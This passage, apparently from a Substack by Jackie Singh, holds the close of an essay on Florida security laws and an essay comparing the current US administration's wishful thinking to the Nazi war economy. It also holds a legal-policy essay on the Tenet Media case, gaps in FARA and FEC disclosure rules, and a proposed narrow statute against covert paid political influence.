Florida chose otherwise by assembling a miniature security state that aims downward at immigrants and protesters while officials who profit from foreign influence get a seminar and a repayment schedule.

Trace the lineage of that choice and you arrive not at counterintelligence but at the alien land laws, loyalty oaths, and the long American tradition of nativism dressed up as security. Provisions that will wreck real lives took effect largely unopposed because the institutions we have built to catch such things, the national press and the civil liberties bar, happened to be facing the other direction.

Florida has become a foreign country of concern in its own right, the kind where sweeping security laws pass without debate and the people underneath them find out afterward.

Get more from Jackie Singh in the Substack app

Available for iOS and Android

Get the app

I first went over in 2003 as a soldier in a maintenance unit, which is to say we kept the things that shoot in working order and handed them back to the people who did the shooting. Later I moved into technology work for defense contractors; the same kind of work, but on machines that fail in quieter ways. What I watched, from the lean improvised chaos of 2003 to my last year working in Iraq in 2011, was the largest swelling of logistical mass I ever expect to see. It is hard to convey to people who were not there how the thing grew.

We arrived with not enough of everything and a great deal of duct tape. By the end, the bases had become small cities doing a convincing impression of peacetime, with their own bus routes and burger franchises and acres of climate-controlled tents, fed by a supply apparatus so vast and so baroque that no single human being could hold a picture of it in mind. After a while, I stopped seeing the War on Terror and started seeing the freight. And the longer I watched the freight, the more I understood that the freight was the war, that everything upstream of it — the doctrine, the speeches, and the maps with the bold arrows — was a kind of weather forecast, while the convoy was the weather.

I have been thinking about convoys lately, which is to say I have been thinking about the present American moment, because the two subjects turn out to be one subject wearing different clothes. There is a line passed around in uniform, old enough that it has been hung on Napoleon and Omar Bradley and a dozen other famous soldiers who probably never said it: amateurs talk strategy, professionals talk logistics. The earliest version anyone can actually source came from a Marine commandant most people outside the Corps could not name, which is the joke folded inside it, because the whole subject of the saying is that the decisive work goes uncredited. It is true as far as it goes, and does not go far enough.

The forecast can say whatever it likes. The convoy arrives or it does not.

We are told to judge the people now steering the federal government by whether they are good at their jobs, as though the obvious answer would settle something. But the competence that matters, the ability to get the right thing to the right place at the right hour, is only the professional’s half of the line. It sits downstream of a condition almost nobody examines, because they assume it the way they assume a floor will bear their weight. That condition is a functioning economy. You can field the finest logisticians in the history of the trade and it will buy you nothing if the thing they are meant to move does not exist, cannot be paid for or has been quietly pawned to cover last quarter’s improvisation. Skill at distribution presumes something to distribute. Stated that plainly, it sounds too obvious to say. This is forgotten daily by men who are paid handsomely to remember it.

Consider the German campaigns from 1939 through 1941, the stretch that gave us the word everyone still reaches for, Blitzkrieg, lightning war, a term that came from the foreign press more than from any German manual and promised more doctrine than ever actually existed. The early victories were real, and stunning, and have hypnotized strategists for three generations. Poland fell in weeks, helped along by a Soviet invasion from the east. France — the great prize, and the humiliation of 1918 paid back — in roughly six. The method turned on speed of a very particular and very brittle kind: armored spearheads punching through and racing ahead of their own infantry, frequently ahead of their own fuel, betting that the enemy would crack in the mind before the spearhead cracked in the metal. When it worked it looked like genius. But the method could stay solvent only so long as it kept winning, because German production alone could not carry it and the gap was filled by theft. Every country overrun was a fresh transfusion of stolen oil, stolen grain, stolen railcars, looted gold revalued to flatter ledgers that had not balanced honestly since before the shooting started.

This was not a flaw the German command stumbled into; it was the design. Adam Tooze’s economic history of the Reich argues that Germany understood it was outweighed by the industrial mass of the United States and the Soviet Union, and gambled on a run of fast victories precisely because it could not survive a slow war of production. Götz Aly has traced how much of the regime’s solvency, and how much of the loyalty it bought at home, ran on looted property and the seized assets of the people it murdered. The Reich was not an economy that happened to be fighting a war; it was a war that had to keep eating in order to impersonate an economy.

None of this means the fascist cannot run a railway on time. Inside the walls of a single operation the regime could be ruthlessly precise. But precision inside one operation is not competence across a war, and what it never had was the thing no timetable can supply, a productive economy to stand on instead of a stolen one and enough held back to survive the first day the plan went wrong. Someone will point to the machinery of the Holocaust as the proof of Nazi ‘competence’: the deportation timetables, railcars, punch-card tabulation, and the camps run like factories. The objection has the history backwards. The precision of the extermination proves the opposite of what it assumes. It was ideology eating logistics, in its clearest and most monstrous form.

By 1944, with the front collapsing and every locomotive needed to carry men and ammunition, the regime was still requisitioning trains to deliver Hungarian Jews to Auschwitz. It worked prisoners to death in the very months it was begging for labor. Resources that could have armed divisions went instead into killing that won nothing. A state that will tear up its own logistics to keep an ideological appointment is not a counterexample to any of this; it is the proof. The death camps were efficient the way a body that has begun to consume its own organs is efficient, and for the same reason.

I have gone to the worst case deliberately because horror on that scale burns away the incidental and leaves the mechanism bare. It outlived the men who built it, and it is loose again.

Look at the Russia that the current American president treats as a model and a friend. Putin runs the same animal in a colder climate — a state turned inside out to feed a war it no longer knows how to stop, kept upright by moving oil through a shadow fleet of obscurely flagged tankers and by converting whatever it overruns into next quarter’s budget line. A country like that does not wage war because its economy is strong. It keeps the war running because the war has become the economy, and the morning the guns go quiet is the morning the books finally have to be read out loud. But that morning can be a long time coming. Four years into his chosen war, with the economy shrinking under him, Putin still instructs his ministers to deliver growth the arithmetic will not produce.

The Russian books are already being read in a whisper: growth gone, the deficit doubling, taxes raised to feed a war that has become its own only reason. None of it has brought the regime down, and none of it will on any timetable a headline can promise. That is the part that should frighten rather than reassure. The model is doomed, but doomed is not the same as stopped, and the whole distance between the two gets paid in years and in other people's lives. A regime that cannot afford to feel the cost keeps borrowing against the future for as long as the future will lend and is likely to turn more brutal as the bill climbs.

Those German victories had a chemical dimension. Pervitin, methamphetamine in tablet form, rode to the front in tank crews and cockpits and infantry packs by the millions of doses. The drug does what it has always done. It advances you tomorrow’s vigor at an interest rate you do not get to negotiate, and repayment is not a thing you may decline.

And it worked, for precisely as long as the war it fueled remained a sprint. Once the blitz bogged down into the long grind in the east, the chemical that won the lightning was worthless in the siege. A Wehrmacht medical officer who served at Stalingrad, the man who handed the pills out, told the writer Norman Ohler as much: in a war of attrition the drug only wore men down, and the sleep they had borrowed came due anyway.

The metaphor doesn’t stay a metaphor; a regime can run on amphetamine logic without a gram changing hands. It draws the same loan against the same future and treats the borrowed momentum as a strategy. Each news cycle brings a fresh outrage to plaster over the exhaustion of the last, and you must never, on pain of collapse, stop moving long enough to total up the cost. The Reich was high in both senses, and the figurative high is the hardier, because it needs no pharmacy. You have only to refuse, structurally and forever, to feel tired.

So the thing was doomed in its bones, and not because the Germans could not fight. They could, though the early victories leaned as much on enemy blunders and luck as on any brilliance of their own. It was doomed because it had been built, whether or not anyone said so out loud, to require an unbroken chain of total victories. No serious reverse. No long stall. No campaign that curdled into a siege and then into a winter. The model carried no slack, no give, no reserve, because reserve is what you lay aside once you have privately conceded that things might go wrong, and the entire psychic machinery of the regime was wired around the certainty that things could not go wrong, that will and audacity and racial destiny would stand in for the dull material facts that dull material men kept raising in meetings. The dull material men were right. They are almost always right, and rarely thanked.

One of those men has a name. Franz Halder, Hitler’s own chief of the General Staff, warned at the outset that time and the economic balance both favored the other side, that the enemy’s means were simply stronger. He was overruled, the way such men are. Later, looking at the front his Führer had stretched to a barely tenable length in pursuit of a map that existed mostly in Hitler’s head, Halder said the decisions had given full power to wishful thinking. That phrase is the whole disease, named by a man with a front-row seat. And it does not stay in 1941.

Watch how the current administration and the men around it actually operate, not how they narrate it, and the same fatal architecture stares back. Hitler’s generals had a private name for the briefings where the reports were prettied up and the burning front went unmentioned: the Schaulagen, or show briefings. A government that asks to be judged by its announcements instead of its supply reports is running the same show, whether or not it knows the word.

A plan is announced with total confidence and zero contingency. The tariff goes on and the markets are assured the pain will be brief and the other fellow will fold first. The mass firing is carried out on the assumption that nothing those people did actually mattered, that the machine will run identically with a third of its parts pulled, that the institutional knowledge walking out the door was never load-bearing. The deal is demanded on the premise that the other side has no leverage and no patience and no memory. In each case the operation is engineered to succeed down one corridor only, the corridor in which the first move lands perfectly and the second move is therefore never required.

And then contact happens, as contact does. Iran was supposed to fold. The administration has now bet on that twice, and it is the second bet that gives the game away, because the first had already been read back to them in plain language and they had refused to hear it.

The first time, the strikes were sold as annihilation. The President told the country the nuclear program had been obliterated, completely and finally. His own Defense Intelligence Agency, doing the dull material work of looking, found it set back by a matter of months and said so. Within two months the man who ran that agency was gone, removed with no public reason that touched the finding, and the press got a scolding for reporting what the assessment had said. No one bothered to rebut the assessment; they simply removed the leader who signed it. The display needed the program to be gone, and an agency still saying otherwise was a problem to be managed rather than an argument to be met. That is the disease in miniature, a state that would rather put out its own eyes than be contradicted by them.

The second time, they ran the same play against the same country, the war Washington and Israel opened at the end of February. Contact came as it always comes. Iran did what a cornered state with a hand on a chokepoint does. It reached for the Strait of Hormuz, the narrow throat through which something like a fifth of the world’s oil has to pass, and it squeezed, and the global economy that no quantity of bluster can repeal felt the grip within hours. The war did not last days. This crisis has run for more than three months, through open strikes, a blockade, and a standoff that has still not formally ended.

As it dragged, the rift between the administration and its own commanders surfaced. Two weeks in, the Army’s most senior officer had stood in a North Carolina weapons depot and told the lawmakers with him that the target list was outrunning the supply, that the country was firing its munitions faster than it could replace them. He had looked at the freight and said out loud that it would not bear the plan. The President’s answer to all of it came in two moves. He went on television and promised to intensify the strikes. The next day that officer was forced out along with two more generals in a single afternoon, the rest of the building learning of it when the public did. This is where the fascist parts company with the merely arrogant. The arrogant man misjudges the wall, and when he hits it he curses and backs up. These men hit the wall, were told by their own experts it was a wall, and answered by firing the experts and driving in harder. Then they did it again.

A movement that will blind itself rather than look at what is in front of it cannot feel a setback in time to bend with one. At the end of it the administration took the nearest exit. What it reached, the Islamabad Memorandum, is not a deal that ends the nuclear program (the reason the whole thing was sold to the public) but an understanding to go on talking about it, a sixty-day window with that question still first on the list of things to be negotiated. The man who began the war over Iran’s nuclear program announced its end without once naming that program. He talked the deal up and still would not call it a victory. He signaled he would skip the formal ceremony in Geneva, where his vice president will sign for the United States.

The war closed the Strait of Hormuz and the deal has reopened it, which sounds like a wash until you read what the people who do the looking now think Iran walked away holding.

The war fought to keep one weapon out of Iran’s hands has, if the assessment holds, left a different one in them, and while a bomb is a threat a state can only make, a chokepoint is a threat it can carry out. And by the other side’s account, the terms read closer to concession than to conquest. The gutted civil service, in the same way, turns out to have been holding up functions nobody upstairs could name until they stopped. The market declines to cooperate with the press release. The corridor, in short, grows a wall halfway down it, and this is the precise instant that gives everyone away, because a flexible operator keeps a second corridor and a third, has held something back, has wargamed the failure in advance not out of gloom but out of professional respect for the universe’s habit of not playing along.

These people have nothing held back — they cannot have anything held back. To keep a reserve you must first have admitted, in the privacy of your own planning, that the main effort might fail, and that admission is the single thing the performance forbids. The strongman cannot be seen to have prepared to lose, so he does not prepare to lose, so he loses in a fashion that is total and surprises only him.

Soldiers have two sentences for all of this, rubbed smooth by a century of use. Hope for the best and prepare for the worst. No plan survives contact with the enemy. These are not pessimism. They are pessimism’s opposite. They are what confidence sounds like after it has grown up, been to a few funerals, and learned that the reserve you kept back and never had to use was not wasted money, that keeping it there at all was the whole reason you are still around to gripe about the budget. Real strength is built around the expectation of friction. The performance of strength is built around denying it, and the denial is load-bearing, which is only to say that the denial is the crack.

I want to be careful here, because the comparison can flatter the present by lending it a historical heft it has not earned in blood, and I have no wish to do that. The point is narrower, and I think more useful. Fascism, whatever else it is, carries a structural indifference to whether the economy in fact goes on functioning, an indifference that flows straight out of treating the economy as a stage set for displays of will rather than as the thing that decides what is and is not physically possible next Tuesday.

What recurs is not the death toll, and I am not claiming it is. It is the wishful thinking named by Halder, the conviction that pure strength of will can overrule arithmetic, and the reflex that always travels with that — which is to remove the person holding the arithmetic rather than absorbing what it says and adjusting accordingly. You can ignore the quartermaster for a season. You can ignore him for two. You cannot ignore him forever, because he is not venturing an opinion. No quantity of conviction at the top has ever once talked a fuel tank into refilling itself out of loyalty.

I learned that in places where failing to learn it gets people killed, which sharpens a lesson considerably. The men now running the government learned the opposite lesson, or learned nothing, in places where failure gets you a better quarter and a softer landing and somebody else’s name on the loss. Where I come from, a loss was a person, and a person stays lost. To them it is a line that moves to another man’s ledger. So they will move it. But the freight was always people. People do not reconcile like a column of numbers.

They are simply, afterward, not there.

A federal grand jury in the Southern District of New York handed up an indictment on September 4, 2024, charging two employees of the Russian state broadcaster RT with routing close to $10 million, by way of offshore shell companies, to a Tennessee outfit called Tenet Media. Tenet in turn paid a roster of American conservative commentators (Tim Pool, Dave Rubin, Benny Johnson, and others) to make videos for YouTube and X. One contract called for four weekly videos in exchange for $400,000 per month, plus a $100,000 signing bonus. Of the roughly 2,000 videos the company posted, not one disclosed a Russian connection. Its founders, the indictment alleges, assured each other in private that their “investors” were “the Russians,” even while telling everyone else the money came from a European financier who did not exist, one Eduard Grigoriann.

The case landed only because RT sat at the top of the chain, and the Foreign Agents Registration Act was written precisely to expose anyone working in this country for a foreign principal. Swap RT for an American billionaire who pushes the same money through the same shells and hides his hand from the commentators and their audiences in just the same way, and nothing happens. No statute is available. FARA falls away the instant the principal is domestic. The Federal Election Commission has twice studied the adjacent problem and twice walked away from it. By 2025, the very agencies that might have closed the gap by rule had been pared back or left unable to function.

Hidden foreign money is a felony; identical hidden domestic money is perfectly lawful. The distinction shapes the whole modern business of paid persuasion. Its domestic half is almost certainly the larger one, and the one no law on the books seems to reliably touch.

At the FEC, the relevant verb has been to decline. Its December 2023 “Technological Modernization” rulemaking refused to require disclaimers on paid political content that operators place on influencers’ own social media accounts. An influencer posting to her own feed, the majority reasoned, resembles a celebrity volunteering an endorsement to a fan base more than she resembles “paid advertising,” even though, as the two Democratic commissioners noted in a separate statement, the campaign cuts her a check the same way it cuts one to a staffer. Ellen Weintraub and Shana Broussard called the result a missed “golden opportunity” to write rules that would reach “behind-the-scenes payments to social media influencers.” Payments of that kind, the majority concluded, fall outside the statutory category of a regulated “public communication.”

None of this is an aberration. When the Commission updated its internet-disclaimer rules in 2022, three commissioners attached statements to an otherwise bipartisan order to make a point of preserving the old “small items” and “impracticability” carve-outs for the online world. Chairman Allen Dickerson and Commissioner Trey Trainor cast those exemptions as backstops suited to a medium where the favored advertising platforms turn over from one election to the next; Commissioner Sean Cooksey, concurring, called those exceptions “critical to maintaining regulatory flexibility for political campaigning online.” Add the two rulemakings together and a good deal of small paid online advertising carries no disclaimer obligation whatsoever, while the practical disclosure floor for paid influencer posts on personal accounts hovers near zero.

In hindsight those two refusals stand as the last fully functioning decisions the Commission would make. It lost its policymaking quorum on the first of May 2025, and by October only two of six seats were filled, short of the four votes the law requires before it can open a case, issue a rule, or hold a hearing. One of the empty chairs belonged to Weintraub, the Democratic chair whom the President had purported to fire by letter in January 2025 and whose seat he has left vacant since. A 2025 petition from the Campaign Legal Center, asking the Commission to do the one thing at issue here and require disclaimers on paid influencer content, now sits with no one able to grant or deny it. The two nominees the President finally sent to the Senate in February 2026, Ashley Stow and Andrew Woodson, are both Republicans, slotted into the two Republican vacancies; he advanced neither the Democrat that congressional leaders had recommended nor anyone for Weintraub’s seat. Their confirmation would restore a bare quorum, though a working Commission would only find itself back at a definitional question it has answered twice already, both times against disclosure.

In the space between that indictment and the Commission’s current silence lies the largest unpoliced channel of paid political persuasion in American life. Tenet was catchable because of the foreign state sitting at the top of it; FARA exists to reach agents who serve a foreign principal. Strip the foreign principal out and you are left with the wider phenomenon, the domestic operator who buys the look of independent civic speech, and that phenomenon has no apparent home in any existing regime. FARA cannot touch a purely domestic principal. The FEC, having begged off twice, now lacks the votes to do anything at all. The Federal Trade Commission polices commercial endorsements, not candidate advocacy or issue speech. Wire- and mail-fraud statutes demand a scheme to obtain money or property, an element covert influence rarely supplies. Campaign-finance disclosure fastens onto committees and expenditures rather than onto the paid speaker who dresses an expenditure up as personal conviction.

A narrow federal crime could fill the gap, though not the crime people usually reach for. Outlaw “disinformation” and you build the very machinery for adjudicating truth that the First Amendment shuts down; conscript the platforms to police contested speech, and you make the problem worse. Missing from the toolkit is a statute aimed at deception about who is paying, one that reaches covert paid influence in a handful of high-stakes settings when it travels alongside knowing or reckless falsehoods of fact. A law like that has to clear serious First Amendment review, steer wide of both the dragnet and the censor’s office, and fit without friction against Section 230, FARA, and the campaign-finance statutes. The constraints are real. Not one of them is fatal.

The gap itself is well charted, and nearly every map ends at the same destination: disclosure. The Brennan Center and the Campaign Legal Center have pressed the FEC to make campaigns label the influencers they pay; the Harvard Law Review has worked out how a disclaimer rule might reach sockpuppets and boosted posts; bills from the Honest Ads Act to the REAL Political Advertisements Act would widen online-ad transparency; and states from Texas to California have written influencer-disclaimer laws of their own. Alicia Wanless has shown how thoroughly the influence industry is built for deniability while FARA’s penalties barely sting. The reflex everywhere is to compel a label rather than write a crime, and the leading election-law scholarship, Richard Hasen’s included, is right to be wary of any freestanding offense of disinformation.

Where a criminal idea does surface, it chases a different lie. The Deceptive Practices and Voter Intimidation Prevention Act would punish a materially false claim about an endorsement, but only when it is deployed to keep someone from voting, and the recent run of state deepfake statutes reaches deception about what a candidate appears to have said or done. Neither touches the deception at issue here, which is not about the ballot or the medium, but about who is paying.

That opening is the one the statute I propose here is built to fill. It leaves disclosure to handle the ordinary case and, above it, adds a narrow criminal layer for the operator who hides his paymaster and lies on the paymaster’s behalf when the stakes run highest.

Where FARA Stops

Congress passed FARA in 1938 to drag Nazi propaganda, then moving through American front men, into the open, and the law works by forcing attribution. Anyone operating inside the United States on behalf of a foreign principal, whether by lobbying, running public relations, or pushing out informational material, must register and lay bare the relationship, the work performed, and the money behind it. FARA assumes, reasonably enough, that a listener deserves to know when a voice that sounds homegrown is really carrying water for a foreign government, a party, or some other foreign principal.

For decades the statute mostly slept. The Mueller investigation woke it, and a run of criminal cases followed through the back half of the 2010s and into the 2020s, among them the superseding indictment of Senator Robert Menendez in October 2023, the prosecution of Linda Sun in September 2024, and Tenet. In the Biden administration’s closing weeks the Justice Department pressed the advantage, issuing a Notice of Proposed Rulemaking on January 2, 2025, the first real rewrite of the FARA regulations in close to twenty years, which set out to shrink the “commercial” exemption, rework the labeling rules for “informational materials” so they fit a world of social-media distribution, and widen the statute’s reach considerably.

The new administration changed course within weeks, though not by killing the rule outright. The January NPRM was expressly spared from the automatic-withdrawal sweep of Inauguration Day’s regulatory freeze, and when the Department scrapped dozens of pending rulemakings in a September 2025 deregulatory purge, it pointedly left the FARA rule off the list. It had survived the purge only to be left for dead. The Department posted the public comments, said nothing further, and let the rule sit in limbo. Around it, the enforcement posture shifted hard. In February 2025 Attorney General Pam Bondi circulated a memorandum steering the FARA Unit toward “civil enforcement, regulatory initiatives, and public guidance” and narrowing criminal cases to conduct resembling traditional espionage by foreign-government actors, all of which represented a pronounced step back from the prosecutions of the preceding years. The FBI’s Foreign Influence Task Force, stood up in 2017 to chase precisely the species of operation Tenet turned out to be, was disbanded. For the foreign-operation cases it had been built around, a statute eight years in the rebuilding was, almost overnight, sheathed.

Sheathed, but not for long, and not for everyone. On September 25, 2025, the President issued a National Security Presidential Memorandum titled “Countering Domestic Terrorism and Organized Political Violence,” NSPM-7, that switched FARA back on and aimed it somewhere new. The memo directs investigations under FARA of non-governmental organizations and American citizens with close ties to foreign governments, agents, foundations, or influence networks, and it landed the same day the Department announced a FARA-flavored inquiry into the Open Society Foundations. The redirection cut straight against Bondi’s own limiting instruction. The cases the FARA Unit had been told to drop were the foreign-operation prosecutions; the cases now urged on it run toward domestic nonprofits and the President’s political opponents. Inside a single year the same statute was narrowed against the next Tenet and pointed at the administration’s adversaries. The enforcement power has been redirected toward whichever targets the party in power prefers.

The PAID OFF Act, which would void the trade and Lobbying Disclosure Act exemptions whenever the foreign principal is a government formally designated an adversary, remains a bill and not a law. And the limits that matter most are older than any of this churn; they sit in the architecture of the statute itself. FARA needs a foreign principal to bite. It compels registration and disclosure, backed by civil and criminal penalties for staying quiet, but does not forbid covert paid influence as such. Hand the Tenet fact pattern to a domestic backer, and FARA simply has nothing to say — and no other federal law steps in to demand disclosure. The 2023 FEC ruling drives it further. Dress the same money up as express electoral advocacy and, so long as the influencer posts from her own account rather than paying for placement, no disclaimer is owed.

Tenet also shows how little reaching a foreign operation can amount to. The indictment charged two RT employees who sit in Moscow and will never stand trial here, and it charged no one in the U.S. — not the commentators the government calls victims, and not the company that paid them. That asymmetry is the model. Foreign operations hire domestic talent precisely so the visible speakers are Americans, insulated from the foreign principal and often kept ignorant of it, which is the configuration FARA handles worst. Criminal FARA has to prove the speaker knew he was acting for a foreign principal, and a deceived front man or a walled-off cutout defeats that proof; the foreign string-puller is reachable in theory while the domestic hands doing the actual talking almost never are. An offense that turns on the hidden paymaster rather than on his nationality reaches the witting domestic middleman missed by FARA: the organizer who knows there is concealed money behind the message and buries it, whether that money is foreign or domestic. It leaves the genuine dupe alone, which is the one place FARA and this proposed statute already agree.

No account of why FARA exists can justify drawing the line at the water’s edge. Our stake in knowing who is paying to move American opinion does not shrink because the payer banks in Delaware instead of a foreign bank.

The Supreme Court recognized exactly this stake in Citizens United v. FEC. Striking down limits on independent expenditures, it nonetheless kept disclosure intact, reasoning that “transparency enables the electorate to make informed decisions and give proper weight to different speakers and messages.” Disclosure has the Court’s blessing. The statutes and agencies meant to carry it out have not kept pace with the way persuasion now travels online, and in the last year several of them have actively run the other way.

Clearing the First Amendment

United States v. Alvarez sets the outer wall, and a proposal like this one has to reckon with more than that wall. The Alvarez plurality voided the Stolen Valor Act because falsity, standing alone, enjoys constitutional protection, and because punishing it in the abstract hands government a power the First Amendment denies it. Justice Breyer, concurring on narrower ground and supplying the controlling rationale, got to the same place through intermediate scrutiny, finding the law too loosely drawn. Each opinion warned against statutes that turn prosecutors loose to pick which lies to punish with no limiting principle anchored to real harm.

A tougher precedent for any covert-influence statute is Susan B. Anthony List v. Driehaus. The 2014 ruling turned on standing, a unanimous Court holding that you can mount a pre-enforcement First Amendment challenge to a political-false-statement law once the prospect of enforcement grows imminent enough. Back before the lower court on remand, the Sixth Circuit threw out Ohio’s statute on the merits, and kindred laws elsewhere have met much the same end. Ohio did not run afoul of the Constitution by wanting to punish lies. It ran afoul by the machine it built to do the punishing, an elections commission authorized to rule on the truth of contested campaign claims through a process that spat out chilling probable-cause findings before the votes were cast and handed partisan complainants a cudgel. The Court’s quarrel was with the machinery, never with the aim.

Lamont v. Postmaster General belongs in the conversation as well, since critics reach for it whenever the government burdens the flow of speech from abroad. Lamont killed a federal statute that ordered the Postmaster General to hold incoming “communist political propaganda” and forward it only if the addressee asked in writing, and it announced a First Amendment right to receive information, propaganda included. None of that bears on what is proposed here. Lamont was about the state physically interrupting delivery to a willing reader. The offense proposed here restricts nothing on its way to an audience; it punishes concealed sponsorship joined to a knowing falsehood, both of which land on the sponsor and on the speaker who knows full well she is lying to her audience about where her words come from. Produce the speech and circulate it with the sponsorship disclosed, and the reader’s right to receive it stays perfectly intact. Even so, the statute ought to spell out a recipient-side safe harbor putting beyond doubt that no liability runs to the audience, a belt-and-suspenders matter of drafting rather than constitutional command.

Read together, those cases counsel discipline rather than surrender. Four features carry the weight.

First, the heart of the offense is covert paid agency rather than falsehood. A speaker is not on the hook for getting facts wrong; the wrongdoing is hiding that an undisclosed principal is paying for the words. Consider the decade’s loudest liar. Juries assessed well over a billion dollars against Alex Jones over the Sandy Hook falsehoods, and the statute would still leave him untouched, because he fronts for no hidden principal and conceals no paymaster; he sells supplements to the audience he deceives in plain sight. Defamation law reached him, which is what defamation law is for, and a statute that also caught Jones would have become the disinformation crime this one refuses to be. Ohio’s campaign-lies statute makes a poor cousin here. The nearer kin are FARA, the FTC’s endorsement rules, and a body of commercial-speech doctrine built on the premise that an audience has a right to know when it is being sold to. Zauderer v. Office of Disciplinary Counsel let the government compel factual disclosure in commercial speech under a forgiving rational-basis-plus standard. Outside the commercial context the review stiffens, as NIFLA v. Becerra and Americans for Prosperity Foundation v. Bonta show, yet each of those decisions involved forcing disclosure of ideological content or of who one associates with, a far cry from disclosing that a sponsor cut the check. From Button down to Bonta, the Court has held one line steady: compelled attribution passes muster when it serves a concrete governmental interest and is drawn narrowly enough to spare protected association. Sponsor disclosure on paid political speech meets that standard however one reads the cases. Free Speech Coalition v. Paxton, handed down in 2025, hints that the Court is recalibrating its scrutiny for content-based rules pegged to particular harms, though that holding sticks to sexual material and minors and travels no further into political speech.

Holder v. Humanitarian Law Project pulls more weight for this proposal than the precedents trotted out in most disinformation arguments. The Court there sustained a criminal statute against a First Amendment attack for one overriding reason, that the speech in question was coordinated with a designated foreign entity instead of offered up as independent advocacy. Chief Justice Roberts, writing for the majority, separated speech delivered on behalf of a foreign principal from speech a person makes on her own hook, and held that the coordination is what opens room for regulation independent advocacy would never permit. That split is the foundation FARA stands on, and it is why the foreign-principal half of today’s gap poses so little difficulty. It does the domestic half a favor too. The Court blessed the idea that paid coordination with a hidden principal is a different creature, constitutionally, from independent political speech, and nowhere does Holder hinge on the principal’s being foreign in any way that would block the same reasoning when a domestic principal hides his role just as thoroughly. So the proposal rests mainly on the transparency-and-attribution logic the Court has embraced from Buckley through the disclosure holding in Citizens United, the logic that does the heavy lifting, and consigns Holder’s compelling-interest framing to the foreign setting it was built for.

Second, the falsity element borrows directly from New York Times v. Sullivan and the cases after it. To count, a statement must be a verifiable assertion of fact made in knowing or reckless disregard of its falsity, leaving opinion, rhetoric, hyperbole, and the ordinary coloring of political talk safely outside. For sixty years the actual-malice standard has set the bar for defaming a public figure and has turned back First Amendment challenge after challenge. Dropping it in here saddles the government with the same exacting mens rea the Court insists on wherever the truth of political speech is what decides liability.

Third, the trigger is drawn tight. Liability reaches only communications tied to an election, to a foreign-interference operation, or to one of a short list of statutorily named public-health or public-safety emergencies, the settings in which hiding the sponsor matters most. Run-of-the-mill political commentary never comes near it. Take sponsorship and disclose it, and you have a complete defense. Pay openly and you commit no crime; nor does the speaker who was herself fooled about where her money came from, which, by the government’s own telling, is the situation most of the Tenet commentators were in.

Fourth, and this matters most, the case is made out of money and relationships, not out of what was said. Driehaus taught the lesson by counterexample, since Ohio’s regime collapsed the moment it let any complainant with a grievance set enforcement in motion by alleging a lie. Here a file cannot be opened because a clip went viral or read as inflammatory or cut against the party in power. It opens only on hard transactional facts, a payment, a contract, money threaded through shell companies, a false filing, an instruction from principal to speaker preserved in their correspondence. A bank ledger can start an investigation; a microphone cannot. The reach stops at cases where there really is a hidden principal, and prosecutors get no license to go fishing on the strength of speech alone.

None of which renders the law uncontroversial. A fresh federal crime sitting astride speech and election administration is going to draw lawsuits, and Eugene Volokh has made the sharpest case against it, arguing that compelling attribution in political speech warrants far more suspicion than compelling it in a commercial transaction, and that any regime of this sort invites selective enforcement against speakers the government dislikes. His is the objection worth taking most seriously, and the answer to it is built into the structure rather than talked around. Because an investigation can begin only from transactional evidence, prosecutors never get to open a case on the say-so of speech; because the gravamen is concealment of the sponsor, the government never has to prove what was true. An offense framed that narrowly parts ways with the political-false-statements laws the courts have invalidated. It parts ways, too, with the Stolen Valor Act that Alvarez rejected, a law that punished naked falsity with no nod to sponsorship, to deception about source, or to any concrete civic harm.

Section 230 and What Platforms Actually See

Section 230 of the Communications Decency Act shields interactive computer services from being treated as the publisher or speaker of information “provided by another information content provider.” Courts have construed that shield generously ever since the Fourth Circuit’s 1997 ruling in Zeran v. America Online, and the Supreme Court left it standing by implication when it disposed of Gonzalez v. Google on other grounds in 2023.

For the most part, this proposal lands outside Section 230 altogether. Its target is the speaker and the concealed sponsor, not the platform acting as a conduit for what users post. The one duty it would lay on platforms, holding onto business records for the paid-sponsorship transactions they broker or process themselves, attaches to the platform’s own behavior, not to anything a user uploaded. Courts have said again and again that obligations rooted in a platform’s first-party conduct fall outside Section 230 entirely. Doe v. Internet Brands shows how it goes. The Ninth Circuit let a failure-to-warn claim move forward because the duty grew out of what the platform itself knew, not out of user-generated content, and the same reasoning carries over to a record-preservation duty pinned to the advertising and sponsorship deals platforms already document.

A word about what platforms can actually see, because that is what dictates where a case like this gets built. Hardly any covert paid influence runs through a platform’s advertising API or its official creator-payout program. Money travels elsewhere, by wire and ACH, in invoices dressed up as consulting or licensing or production work, and increasingly in stablecoins and other cryptocurrency, often funneled through companies chartered in places where nobody has to say who owns them. The platform only ever sees the finished product, the video or the post or the livestream. The cash rarely shows up on screen.

Tenet illustrates the pattern almost too neatly. The $9.7 million did not show up tagged as a political ad buy. It traveled from RT through shell companies in Turkey, Mauritius, and the United Arab Emirates, landed in a Tennessee LLC’s account, and flowed back out to the commentators’ production firms, all of it papered over as routine commercial business, down to a bookkeeping entry, reproduced in the indictment, for the purchase of an iPhone. The hiding happened where the money was laid down, well below the layer where the content went up. By the time the clips surfaced on YouTube and X, the platforms could see nothing that set them apart from a thousand ordinary creator channels.

Two things follow for anyone serious about the problem.

The first concerns where the proof lives, and it is not in platform data. It lives in bank records, in corporate-registry filings, in the beneficial-ownership data FinCEN gathers under the Corporate Transparency Act, and in the back-and-forth between a hidden principal and the middleman who hires and pays the talent. Those records establish agency and concealment, and they are the very files the Justice Department already pulls in its money-laundering and FARA cases. Strip away the speech and a covert-influence prosecution is, mechanically, a financial-crime prosecution whose end product happens to be words. The second thing is a difficulty better admitted than glossed: shell layering, nominee owners, crypto rails, all of it exists to beat precisely this kind of tracing, and beneficial-ownership reporting has lately been cut back in scope and enforced unevenly besides. Promise that the paper trail is easy to follow and you will be promising more than the facts allow. Truer to say that a trail, when it can be traced at all, runs through ledgers and registries rather than through anything anyone said on camera.

All of which doubles as the reply to the fear that this statute would turn into a speech-surveillance tool. An enforcement model that starts from money cannot be set off by a post that goes viral or offends or annoys the powerful, for the plain reason that none of those is a financial record. Concealed money in motion is the predicate. Frame the crime that way and the speech enters the case only after the money has, never before.

An earlier draft of this proposal asked the big platforms to build a “paid sponsor” attribution feature that speakers and sponsors could use to satisfy their disclosure duties. That requirement has been struck from this version. Moody v. NetChoice holds that content moderation is itself expressive activity under the First Amendment, and the lead opinion sweeps widely enough that a clever litigant could recast a mandated design feature as compelled expression. Better to sidestep the whole fight. Liability under this statute falls on the speaker and the sponsor, and a sponsor bent on compliance has tools in hand already, plain-text disclosure in the post chief among them. Leaving the platform question open simply acknowledges that Moody remains unsettled, and keeps a speaker-sponsor statute from having to fight that doctrinal battle on its own.

